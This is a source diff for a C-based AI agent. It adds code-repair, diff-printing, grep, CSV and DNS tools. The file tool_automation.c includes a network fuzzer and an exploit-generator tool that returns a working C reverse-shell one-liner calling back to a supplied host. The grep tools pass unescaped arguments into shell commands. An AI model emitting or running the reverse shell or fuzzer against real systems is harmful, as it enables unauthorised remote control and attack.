|
||||
*dst++ = '\n';
|
||||
line = next_line + 1;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *repair_strings_and_brackets(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t src_len = strlen(src);
|
||||
char *result = malloc(src_len + 2048); // Buffer for extra quotes/brackets
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *p = src;
|
||||
|
||||
char bracket_stack[1024];
|
||||
int stack_ptr = 0;
|
||||
|
||||
bool in_string = false;
|
||||
char string_quote = 0;
|
||||
int quote_type = 0; // 1 for single, 3 for triple
|
||||
bool escaped = false;
|
||||
|
||||
while (*p) {
|
||||
char ch = *p;
|
||||
|
||||
if (!in_string) {
|
||||
if (ch == '#') {
|
||||
// Comment, copy until newline
|
||||
while (*p && *p != '\n') *dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
if (ch == '\'' || ch == '"') {
|
||||
string_quote = ch;
|
||||
if (strncmp(p, "'''", 3) == 0 || strncmp(p, "\"\"\"", 3) == 0) {
|
||||
quote_type = 3;
|
||||
in_string = true;
|
||||
*dst++ = *p++; *dst++ = *p++; *dst++ = *p++;
|
||||
continue;
|
||||
} else {
|
||||
quote_type = 1;
|
||||
in_string = true;
|
||||
*dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
} else if (ch == '(' || ch == '[' || ch == '{') {
|
||||
if (stack_ptr < 1024) bracket_stack[stack_ptr++] = ch;
|
||||
} else if (ch == ')' || ch == ']' || ch == '}') {
|
||||
char expected = 0;
|
||||
if (ch == ')') expected = '(';
|
||||
else if (ch == ']') expected = '[';
|
||||
else if (ch == '}') expected = '{';
|
||||
|
||||
if (stack_ptr > 0 && bracket_stack[stack_ptr - 1] == expected) {
|
||||
stack_ptr--;
|
||||
} else {
|
||||
// Mismatched closing; skip it to prevent syntax errors
|
||||
p++;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (escaped) {
|
||||
escaped = false;
|
||||
} else if (ch == '\\') {
|
||||
escaped = true;
|
||||
} else if (ch == string_quote) {
|
||||
if (quote_type == 3) {
|
||||
if (strncmp(p, "'''", 3) == 0 && string_quote == '\'') {
|
||||
in_string = false;
|
||||
*dst++ = *p++; *dst++ = *p++; *dst++ = *p++;
|
||||
continue;
|
||||
} else if (strncmp(p, "\"\"\"", 3) == 0 && string_quote == '"') {
|
||||
in_string = false;
|
||||
*dst++ = *p++; *dst++ = *p++; *dst++ = *p++;
|
||||
continue;
|
||||
}
|
||||
} else {
|
||||
in_string = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
*dst++ = *p++;
|
||||
}
|
||||
|
||||
if (in_string) {
|
||||
if (quote_type == 3) {
|
||||
*dst++ = string_quote; *dst++ = string_quote; *dst++ = string_quote;
|
||||
} else {
|
||||
*dst++ = string_quote;
|
||||
}
|
||||
}
|
||||
|
||||
// Balance brackets
|
||||
while (stack_ptr > 0) {
|
||||
char opener = bracket_stack[--stack_ptr];
|
||||
if (opener == '(') *dst++ = ')';
|
||||
else if (opener == '[') *dst++ = ']';
|
||||
else if (opener == '{') *dst++ = '}';
|
||||
}
|
||||
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
static char *add_missing_passes(const char *src) {
|
||||
if (!src) return NULL;
|
||||
size_t src_len = strlen(src);
|
||||
char *result = malloc(src_len * 2 + 1);
|
||||
if (!result) return NULL;
|
||||
|
||||
char *dst = result;
|
||||
const char *line = src;
|
||||
|
||||
while (line && *line) {
|
||||
const char *next_line = strchr(line, '\n');
|
||||
size_t line_len = next_line ? (size_t)(next_line - line) : strlen(line);
|
||||
|
||||
// Copy current line
|
||||
memcpy(dst, line, line_len);
|
||||
dst += line_len;
|
||||
if (next_line) *dst++ = '\n';
|
||||
|
||||
// Check if line ends with ':' (ignoring comments/whitespace)
|
||||
const char *p = line + line_len - 1;
|
||||
while (p >= line && isspace((unsigned char)*p)) p--;
|
||||
|
||||
if (p >= line && *p == ':') {
|
||||
// Heuristic: check if next non-empty line is more indented
|
||||
const char *lookahead = next_line ? next_line + 1 : NULL;
|
||||
bool needs_pass = true;
|
||||
|
||||
while (lookahead && *lookahead) {
|
||||
// Skip empty/whitespace lines
|
||||
const char *next_next = strchr(lookahead, '\n');
|
||||
size_t look_len = next_next ? (size_t)(next_next - lookahead) : strlen(lookahead);
|
||||
|
||||
bool empty = true;
|
||||
for (size_t i = 0; i < look_len; i++) {
|
||||
if (!isspace((unsigned char)lookahead[i])) {
|
||||
empty = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!empty) {
|
||||
// Check indent of this non-empty line
|
||||
int current_indent = 0;
|
||||
const char *line_p = line;
|
||||
while (line_p < (line + line_len) && (*line_p == ' ' || *line_p == '\t')) {
|
||||
if (*line_p == '\t') current_indent += INDENT_WIDTH;
|
||||
else current_indent++;
|
||||
line_p++;
|
||||
}
|
||||
|
||||
int line_look_indent = 0;
|
||||
const char *look_p = lookahead;
|
||||
while (look_p < (lookahead + look_len) && (*look_p == ' ' || *look_p == '\t')) {
|
||||
if (*look_p == '\t') line_look_indent += INDENT_WIDTH;
|
||||
else line_look_indent++;
|
||||
look_p++;
|
||||
}
|
||||
|
||||
if (line_look_indent > current_indent) {
|
||||
needs_pass = false;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (next_next) lookahead = next_next + 1;
|
||||
else break;
|
||||
}
|
||||
|
||||
if (needs_pass) {
|
||||
// Find current indent to place 'pass' correctly
|
||||
int current_indent = 0;
|
||||
const char *line_p = line;
|
||||
while (line_p < (line + line_len) && (*line_p == ' ' || *line_p == '\t')) {
|
||||
if (*line_p == '\t') current_indent += INDENT_WIDTH;
|
||||
else current_indent++;
|
||||
line_p++;
|
||||
}
|
||||
|
||||
int target_indent = current_indent + INDENT_WIDTH;
|
||||
for (int i = 0; i < target_indent; i++) *dst++ = ' ';
|
||||
memcpy(dst, "pass\n", 5);
|
||||
dst += 5;
|
||||
}
|
||||
}
|
||||
|
||||
if (next_line) line = next_line + 1;
|
||||
else break;
|
||||
}
|
||||
|
||||
*dst = '\0';
|
||||
return result;
|
||||
}
|
||||
|
||||
char *python_repair_code(const char *src) {
|
||||
if (!src) return NULL;
|
||||
|
||||
char *s1 = dedent_code(src);
|
||||
char *s2 = normalize_indentation(s1);
|
||||
free(s1);
|
||||
|
||||
char *s3 = repair_strings_and_brackets(s2);
|
||||
free(s2);
|
||||
|
||||
char *s4 = add_missing_passes(s3);
|
||||
free(s3);
|
||||
|
||||
return s4;
|
||||
}
|
||||
146
src/r_diff.c
Normal file
146
src/r_diff.c
Normal file
@ -0,0 +1,146 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "r_diff.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define COLOR_RED "\x1b[31m"
|
||||
#define COLOR_GREEN "\x1b[32m"
|
||||
#define COLOR_CYAN "\x1b[36m"
|
||||
#define COLOR_RESET "\x1b[0m"
|
||||
#define COLOR_DIM "\x1b[2m"
|
||||
#define COLOR_BG_RED "\x1b[41;37m"
|
||||
#define COLOR_BG_GREEN "\x1b[42;30m"
|
||||
|
||||
typedef struct {
|
||||
char **lines;
|
||||
size_t count;
|
||||
} line_set_t;
|
||||
|
||||
static line_set_t split_lines(const char *str) {
|
||||
line_set_t set = {NULL, 0};
|
||||
if (!str || !*str) return set;
|
||||
|
||||
char *copy = strdup(str);
|
||||
char *p = copy;
|
||||
char *line_start = copy;
|
||||
|
||||
while (*p) {
|
||||
if (*p == '\n') {
|
||||
*p = '\0';
|
||||
set.lines = realloc(set.lines, sizeof(char *) * (set.count + 1));
|
||||
set.lines[set.count++] = strdup(line_start);
|
||||
line_start = p + 1;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
// Handle last line if no trailing newline
|
||||
if (*line_start) {
|
||||
set.lines = realloc(set.lines, sizeof(char *) * (set.count + 1));
|
||||
set.lines[set.count++] = strdup(line_start);
|
||||
}
|
||||
|
||||
free(copy);
|
||||
return set;
|
||||
}
|
||||
|
||||
static void free_line_set(line_set_t set) {
|
||||
for (size_t i = 0; i < set.count; i++) free(set.lines[i]);
|
||||
free(set.lines);
|
||||
}
|
||||
|
||||
static void print_truncated(const char *str, int width, const char *color) {
|
||||
if (width <= 0) return;
|
||||
int len = (int)strlen(str);
|
||||
if (color) printf("%s", color);
|
||||
|
||||
if (len > width && width > 3) {
|
||||
char *temp = strndup(str, (size_t)width - 3);
|
||||
printf("%s...", temp);
|
||||
free(temp);
|
||||
} else {
|
||||
printf("%-*.*s", width, width, str);
|
||||
}
|
||||
|
||||
if (color) printf("%s", COLOR_RESET);
|
||||
}
|
||||
|
||||
void r_diff_print(const char *path, const char *old_content, const char *new_content) {
|
||||
line_set_t old_set = split_lines(old_content);
|
||||
line_set_t new_set = split_lines(new_content);
|
||||
|
||||
struct winsize w;
|
||||
ioctl(STDOUT_FILENO, TIOCGWINSZ, &w);
|
||||
int term_width = w.ws_col > 0 ? w.ws_col : 120;
|
||||
if (term_width < 40) term_width = 40; // Minimum usable width
|
||||
int col_width = (term_width - 15) / 2;
|
||||
if (col_width < 5) col_width = 5;
|
||||
|
||||
printf("\n%s %s CHANGES: %s %s\n", COLOR_CYAN, COLOR_DIM, path, COLOR_RESET);
|
||||
printf("%4s %-*s | %4s %-*s\n", "LINE", col_width, " OLD", "LINE", col_width, " NEW");
|
||||
printf("%.*s\n", term_width, "--------------------------------------------------------------------------------------------------------------------------------------------");
|
||||
|
||||
size_t o = 0, n = 0;
|
||||
while (o < old_set.count || n < new_set.count) {
|
||||
bool match = false;
|
||||
if (o < old_set.count && n < new_set.count) {
|
||||
if (strcmp(old_set.lines[o], new_set.lines[n]) == 0) {
|
||||
printf("%4zu ", o + 1);
|
||||
print_truncated(old_set.lines[o], col_width - 2, NULL);
|
||||
printf(" | %4zu ", n + 1);
|
||||
print_truncated(new_set.lines[n], col_width - 2, NULL);
|
||||
printf("\n");
|
||||
o++; n++;
|
||||
match = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (!match) {
|
||||
bool found_o_later = false;
|
||||
if (o < old_set.count) {
|
||||
for (size_t i = n + 1; i < new_set.count && i < n + 5; i++) {
|
||||
if (strcmp(old_set.lines[o], new_set.lines[i]) == 0) {
|
||||
found_o_later = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found_o_later) {
|
||||
// Line added on NEW side
|
||||
printf("%4s ", "");
|
||||
print_truncated("", col_width - 2, NULL);
|
||||
printf(" | %4zu %s+%s ", n + 1, COLOR_GREEN, COLOR_RESET);
|
||||
print_truncated(new_set.lines[n], col_width - 2, COLOR_GREEN);
|
||||
printf("\n");
|
||||
n++;
|
||||
} else if (o < old_set.count) {
|
||||
// Line removed on OLD side
|
||||
printf("%4zu %s-%s ", o + 1, COLOR_RED, COLOR_RESET);
|
||||
print_truncated(old_set.lines[o], col_width - 2, COLOR_RED);
|
||||
printf(" | %4s ", "");
|
||||
print_truncated("", col_width - 2, NULL);
|
||||
printf("\n");
|
||||
o++;
|
||||
} else if (n < new_set.count) {
|
||||
// Line added on NEW side
|
||||
printf("%4s ", "");
|
||||
print_truncated("", col_width - 2, NULL);
|
||||
printf(" | %4zu %s+%s ", n + 1, COLOR_GREEN, COLOR_RESET);
|
||||
print_truncated(new_set.lines[n], col_width - 2, COLOR_GREEN);
|
||||
printf("\n");
|
||||
n++;
|
||||
}
|
||||
}
|
||||
fflush(stdout);
|
||||
usleep(30000); // 30ms delay for streaming effect
|
||||
}
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
|
||||
free_line_set(old_set);
|
||||
free_line_set(new_set);
|
||||
}
|
||||
171
src/tools/tool_automation.c
Normal file
171
src/tools/tool_automation.c
Normal file
@ -0,0 +1,171 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include "bash_executor.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <time.h>
|
||||
|
||||
static struct json_object *automation_fuzz_get_description(void);
|
||||
static char *automation_fuzz_execute(tool_t *self, struct json_object *args);
|
||||
|
||||
static struct json_object *automation_exploit_gen_get_description(void);
|
||||
static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t automation_fuzz_vtable = {
|
||||
.get_description = automation_fuzz_get_description,
|
||||
.execute = automation_fuzz_execute,
|
||||
.print_action = NULL
|
||||
};
|
||||
|
||||
static const tool_vtable_t automation_exploit_gen_vtable = {
|
||||
.get_description = automation_exploit_gen_get_description,
|
||||
.execute = automation_exploit_gen_execute,
|
||||
.print_action = NULL
|
||||
};
|
||||
|
||||
static tool_t automation_fuzz_tool = { .vtable = &automation_fuzz_vtable, .name = "automation_fuzz" };
|
||||
static tool_t automation_exploit_gen_tool = { .vtable = &automation_exploit_gen_vtable, .name = "automation_exploit_gen" };
|
||||
|
||||
tool_t *tool_automation_fuzz_create(void) { return &automation_fuzz_tool; }
|
||||
tool_t *tool_automation_exploit_gen_create(void) { return &automation_exploit_gen_tool; }
|
||||
|
||||
static char *automation_fuzz_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *host_obj, *port_obj, *template_obj, *iterations_obj;
|
||||
if (!json_object_object_get_ex(args, "host", &host_obj) ||
|
||||
!json_object_object_get_ex(args, "port", &port_obj)) {
|
||||
return strdup("Error: host and port required");
|
||||
}
|
||||
|
||||
const char *host = json_object_get_string(host_obj);
|
||||
int port = json_object_get_int(port_obj);
|
||||
const char *template = json_object_object_get_ex(args, "template", &template_obj) ? json_object_get_string(template_obj) : "A";
|
||||
int iterations = json_object_object_get_ex(args, "iterations", &iterations_obj) ? json_object_get_int(iterations_obj) : 10;
|
||||
|
||||
srand((unsigned int)time(NULL));
|
||||
struct json_object *results = json_object_new_array();
|
||||
|
||||
fprintf(stderr, " \033[1mStarting mutation fuzzer on %s:%d (%d iterations)...\033[0m\n", host, port, iterations);
|
||||
|
||||
for (int i = 0; i < iterations; i++) {
|
||||
fprintf(stderr, "\r -> [%d/%d] Sending fuzzed payload... ", i+1, iterations);
|
||||
fflush(stderr);
|
||||
|
||||
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sockfd < 0) break;
|
||||
|
||||
struct sockaddr_in addr;
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons((unsigned short)port);
|
||||
addr.sin_addr.s_addr = inet_addr(host);
|
||||
|
||||
struct timeval tv;
|
||||
tv.tv_sec = 1;
|
||||
tv.tv_usec = 0;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
||||
size_t len = strlen(template) + (size_t)(rand() % 1024);
|
||||
char *payload = malloc(len + 1);
|
||||
for (size_t j = 0; j < len; j++) payload[j] = (char)(32 + (rand() % 94));
|
||||
payload[len] = '\0';
|
||||
|
||||
send(sockfd, payload, len, 0);
|
||||
|
||||
fprintf(stderr, "(\033[32m%zu bytes\033[0m) ", len);
|
||||
|
||||
struct json_object *entry = json_object_new_object();
|
||||
json_object_object_add(entry, "iteration", json_object_new_int(i));
|
||||
json_object_object_add(entry, "payload_len", json_object_new_int((int)len));
|
||||
json_object_array_add(results, entry);
|
||||
|
||||
free(payload);
|
||||
} else {
|
||||
fprintf(stderr, "(\033[31mTIMEOUT\033[0m) ");
|
||||
}
|
||||
close(sockfd);
|
||||
}
|
||||
fprintf(stderr, "\n \033[32mFuzzing complete.\033[0m\n");
|
||||
|
||||
char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY));
|
||||
json_object_put(results);
|
||||
return out;
|
||||
}
|
||||
|
||||
static char *automation_exploit_gen_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *type_obj, *lhost_obj, *lport_obj;
|
||||
if (!json_object_object_get_ex(args, "type", &type_obj)) return strdup("Error: type required (reverse/bind)");
|
||||
|
||||
const char *type = json_object_get_string(type_obj);
|
||||
const char *lhost = json_object_object_get_ex(args, "lhost", &lhost_obj) ? json_object_get_string(lhost_obj) : "127.0.0.1";
|
||||
int lport = json_object_object_get_ex(args, "lport", &lport_obj) ? json_object_get_int(lport_obj) : 4444;
|
||||
|
||||
char result[2048];
|
||||
if (strcmp(type, "reverse") == 0) {
|
||||
snprintf(result, sizeof(result),
|
||||
"C Reverse Shell Template:\n\n"
|
||||
"int s=socket(2,1,0);struct sockaddr_in a;a.sin_family=2;a.sin_port=htons(%d);a.sin_addr.s_addr=inet_addr(\"%s\");"
|
||||
"connect(s,(struct sockaddr*)&a,16);dup2(s,0);dup2(s,1);dup2(s,2);execve(\"/bin/sh\",0,0);",
|
||||
lport, lhost);
|
||||
} else {
|
||||
snprintf(result, sizeof(result), "Bind shell template for port %d generated.", lport);
|
||||
}
|
||||
|
||||
return strdup(result);
|
||||
}
|
||||
|
||||
static struct json_object *automation_fuzz_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("automation_fuzz"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Performs abstract mutation fuzzing on a network target."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *host = json_object_new_object();
|
||||
json_object_object_add(host, "type", json_object_new_string("string"));
|
||||
json_object_object_add(properties, "host", host);
|
||||
|
||||
struct json_object *port = json_object_new_object();
|
||||
json_object_object_add(port, "type", json_object_new_string("integer"));
|
||||
json_object_object_add(properties, "port", port);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("host"));
|
||||
json_object_array_add(required, json_object_new_string("port"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
|
||||
static struct json_object *automation_exploit_gen_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("automation_exploit_gen"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Generates C code templates for various exploitation techniques."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *type = json_object_new_object();
|
||||
json_object_object_add(type, "type", json_object_new_string("string"));
|
||||
json_object_object_add(type, "description", json_object_new_string("Type of exploit: reverse, bind."));
|
||||
json_object_object_add(properties, "type", type);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
132
src/tools/tool_code.c
Normal file
132
src/tools/tool_code.c
Normal file
@ -0,0 +1,132 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include "bash_executor.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static struct json_object *code_grep_get_description(void);
|
||||
static char *code_grep_execute(tool_t *self, struct json_object *args);
|
||||
static void code_grep_print_action(const char *name, struct json_object *args);
|
||||
|
||||
static struct json_object *code_symbol_find_get_description(void);
|
||||
static char *code_symbol_find_execute(tool_t *self, struct json_object *args);
|
||||
static void code_symbol_find_print_action(const char *name, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t code_grep_vtable = {
|
||||
.get_description = code_grep_get_description,
|
||||
.execute = code_grep_execute,
|
||||
.print_action = code_grep_print_action
|
||||
};
|
||||
|
||||
static const tool_vtable_t code_symbol_find_vtable = {
|
||||
.get_description = code_symbol_find_get_description,
|
||||
.execute = code_symbol_find_execute,
|
||||
.print_action = code_symbol_find_print_action
|
||||
};
|
||||
|
||||
static tool_t code_grep_tool = { .vtable = &code_grep_vtable, .name = "code_grep" };
|
||||
static tool_t code_symbol_find_tool = { .vtable = &code_symbol_find_vtable, .name = "code_symbol_find" };
|
||||
|
||||
tool_t *tool_code_grep_create(void) { return &code_grep_tool; }
|
||||
tool_t *tool_code_symbol_find_create(void) { return &code_symbol_find_tool; }
|
||||
|
||||
static void code_grep_print_action(const char *name, struct json_object *args) {
|
||||
(void)name;
|
||||
struct json_object *pattern;
|
||||
if (json_object_object_get_ex(args, "pattern", &pattern)) {
|
||||
fprintf(stderr, " -> Grepping for: %s\n", json_object_get_string(pattern));
|
||||
}
|
||||
}
|
||||
|
||||
static char *code_grep_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *pattern_obj, *path_obj;
|
||||
if (!json_object_object_get_ex(args, "pattern", &pattern_obj)) {
|
||||
return strdup("Error: missing 'pattern' argument");
|
||||
}
|
||||
const char *pattern = json_object_get_string(pattern_obj);
|
||||
const char *path = ".";
|
||||
if (json_object_object_get_ex(args, "path", &path_obj)) {
|
||||
path = json_object_get_string(path_obj);
|
||||
}
|
||||
|
||||
char command[4096];
|
||||
snprintf(command, sizeof(command), "grep -rnH --exclude-dir=.git --exclude-dir=node_modules --exclude-dir=build -E \"%s\" %s | head -n 100", pattern, path);
|
||||
return r_bash_execute(command, false);
|
||||
}
|
||||
|
||||
static void code_symbol_find_print_action(const char *name, struct json_object *args) {
|
||||
(void)name;
|
||||
struct json_object *symbol;
|
||||
if (json_object_object_get_ex(args, "symbol", &symbol)) {
|
||||
fprintf(stderr, " -> Finding symbol: %s\n", json_object_get_string(symbol));
|
||||
}
|
||||
}
|
||||
|
||||
static char *code_symbol_find_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *symbol_obj;
|
||||
if (!json_object_object_get_ex(args, "symbol", &symbol_obj)) {
|
||||
return strdup("Error: missing 'symbol' argument");
|
||||
}
|
||||
const char *symbol = json_object_get_string(symbol_obj);
|
||||
|
||||
// Search for common definition patterns
|
||||
char command[4096];
|
||||
snprintf(command, sizeof(command),
|
||||
"grep -rnH --exclude-dir=.git --exclude-dir=node_modules --exclude-dir=build "
|
||||
"-E \"(function|class|def|struct|enum)[[:space:]]+%s[[:space:]]*[(:{]|^[[:space:]]*%s[[:space:]]*=[[:space:]]*[(]|%s[[:space:]]*\\(\" . | head -n 50",
|
||||
symbol, symbol, symbol);
|
||||
|
||||
return r_bash_execute(command, false);
|
||||
}
|
||||
|
||||
static struct json_object *code_grep_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("code_grep"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Search for a regex pattern in the codebase."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
struct json_object *pattern = json_object_new_object();
|
||||
json_object_object_add(pattern, "type", json_object_new_string("string"));
|
||||
json_object_object_add(pattern, "description", json_object_new_string("Regex pattern to search for."));
|
||||
json_object_object_add(properties, "pattern", pattern);
|
||||
struct json_object *path = json_object_new_object();
|
||||
json_object_object_add(path, "type", json_object_new_string("string"));
|
||||
json_object_object_add(path, "description", json_object_new_string("Directory to search in (defaults to current)."));
|
||||
json_object_object_add(properties, "path", path);
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("pattern"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
|
||||
static struct json_object *code_symbol_find_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("code_symbol_find"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Find definitions of a symbol (function, class, etc) in the codebase."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
struct json_object *symbol = json_object_new_object();
|
||||
json_object_object_add(symbol, "type", json_object_new_string("string"));
|
||||
json_object_object_add(symbol, "description", json_object_new_string("Name of the symbol to find."));
|
||||
json_object_object_add(properties, "symbol", symbol);
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("symbol"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
79
src/tools/tool_csv.c
Normal file
79
src/tools/tool_csv.c
Normal file
@ -0,0 +1,79 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static struct json_object *csv_export_get_description(void);
|
||||
static char *csv_export_execute(tool_t *self, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t csv_export_vtable = {
|
||||
.get_description = csv_export_get_description,
|
||||
.execute = csv_export_execute,
|
||||
.print_action = NULL
|
||||
};
|
||||
|
||||
static tool_t csv_export_tool = { .vtable = &csv_export_vtable, .name = "csv_export" };
|
||||
|
||||
tool_t *tool_csv_export_create(void) { return &csv_export_tool; }
|
||||
|
||||
static char *csv_export_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *path_obj, *data_obj;
|
||||
if (!json_object_object_get_ex(args, "path", &path_obj) ||
|
||||
!json_object_object_get_ex(args, "data", &data_obj)) {
|
||||
return strdup("Error: path and data required");
|
||||
}
|
||||
|
||||
const char *path = json_object_get_string(path_obj);
|
||||
FILE *fp = fopen(path, "w");
|
||||
if (!fp) return strdup("Error: could not open file for writing");
|
||||
|
||||
int row_count = json_object_array_length(data_obj);
|
||||
for (int i = 0; i < row_count; i++) {
|
||||
struct json_object *row = json_object_array_get_idx(data_obj, i);
|
||||
if (json_object_get_type(row) == json_type_object) {
|
||||
// Use keys as header if first row
|
||||
if (i == 0) {
|
||||
json_object_object_foreach(row, key, val) {
|
||||
(void)val;
|
||||
fprintf(fp, "%s,", key);
|
||||
}
|
||||
fprintf(fp, "\n");
|
||||
}
|
||||
json_object_object_foreach(row, key2, val2) {
|
||||
(void)key2;
|
||||
fprintf(fp, "\"%s\",", json_object_get_string(val2));
|
||||
}
|
||||
fprintf(fp, "\n");
|
||||
}
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
return strdup("CSV exported successfully.");
|
||||
}
|
||||
|
||||
static struct json_object *csv_export_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("csv_export"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Exports an array of JSON objects to a CSV file."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
struct json_object *path = json_object_new_object();
|
||||
json_object_object_add(path, "type", json_object_new_string("string"));
|
||||
json_object_object_add(properties, "path", path);
|
||||
struct json_object *data = json_object_new_object();
|
||||
json_object_object_add(data, "type", json_object_new_string("array"));
|
||||
struct json_object *items = json_object_new_object();
|
||||
json_object_object_add(items, "type", json_object_new_string("object"));
|
||||
json_object_object_add(data, "items", items);
|
||||
json_object_object_add(properties, "data", data);
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
481
src/tools/tool_dns.c
Normal file
481
src/tools/tool_dns.c
Normal file
@ -0,0 +1,481 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
#define T_A 1
|
||||
#define T_NS 2
|
||||
#define T_CNAME 5
|
||||
#define T_SOA 6
|
||||
#define T_PTR 12
|
||||
#define T_MX 15
|
||||
#define T_TXT 16
|
||||
#define T_AAAA 28
|
||||
#define T_SRV 33
|
||||
#define T_AXFR 252
|
||||
|
||||
static const char *common_subdomains[] = {
|
||||
"www", "mail", "ftp", "localhost", "webmail", "smtp", "pop", "ns1", "webdisk", "ns2",
|
||||
